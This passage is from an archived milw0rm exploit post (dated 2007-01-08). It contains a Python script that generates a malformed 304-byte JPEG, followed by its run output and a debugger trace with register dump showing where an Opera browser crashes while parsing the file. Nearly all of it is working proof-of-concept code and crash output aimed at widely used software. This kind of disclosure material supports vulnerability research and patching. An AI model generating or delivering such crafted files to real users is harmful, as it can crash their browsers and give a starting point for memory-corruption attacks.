0xC0, 0x00, 0x11, 0x08, 0x00,\n 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,\n 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,\n 0xDA, 0x00, 0x0C, 0x03, 0x01,\n                              0xFF, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,\n 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]\n\n\nf = open(__file__+\".jpg\", \"wb\")\nfor byte in bytes: f.write(\"%c\" % byte)\nf.close()\nprint __file__+\".jpg created! (%d bytes)\" % len(bytes)\n# eof\n\nF:\\vulndev\\Opera> python sos-dcactable.py\nsos-dcactable.py.jpg created! (304 bytes)\nF:\\vulndev\\Opera>\n\n\n67AEE715  push    ebp\n67AEE716  mov     ebp, esp\n67AEE718  push    esi\n67AEE719  mov     esi, ecx\n67AEE71B  cmp     dword ptr ds:[esi+48], 8\n67AEE71F  jge     short Opera_12.67AEE733\n67AEE721  push    dword ptr ss:[ebp+8]\n67AEE724  call    Opera_12.67AEE7FE\n67AEE729  cmp     dword ptr ds:[esi+48], 8\n67AEE72D  jge     short Opera_12.67AEE733\n67AEE72F  push    1\n67AEE731  jmp     short Opera_12.67AEE75E\n67AEE733  mov     eax, dword ptr ds:[esi+44] ; ds=B3001F00 (end part of jpeg file)\n67AEE736  mov     ecx, dword ptr ds:[esi+24]\n67AEE739  shr     eax, 18\n67AEE73C  add     eax, ecx                   ;\n67AEE73E  movzx   ecx, byte ptr ds:[eax+60]  ; <-- CRASH\n\nEAX 000000B2\nECX FFFFFFFF\nEDX 00EE2534\nEBX 00000005\nESP 0012ECB0\nEBP 0012ECB4\nESI 00EE2534\nEDI 00EE2534\nEIP 67AEE73E Opera_12.67AEE73E\n\n\n                **************************************************\n\n# milw0rm.com [2007-01-08]","sha256":"9e37f943081af56ad7177c456114c108fedaadbbf32b5514145cbb09609a385c","bytes":22815,"fetchedAt":"2026-11-27T00:09:44.083Z","encoding":"utf-8 (display only; download retains original bytes)"}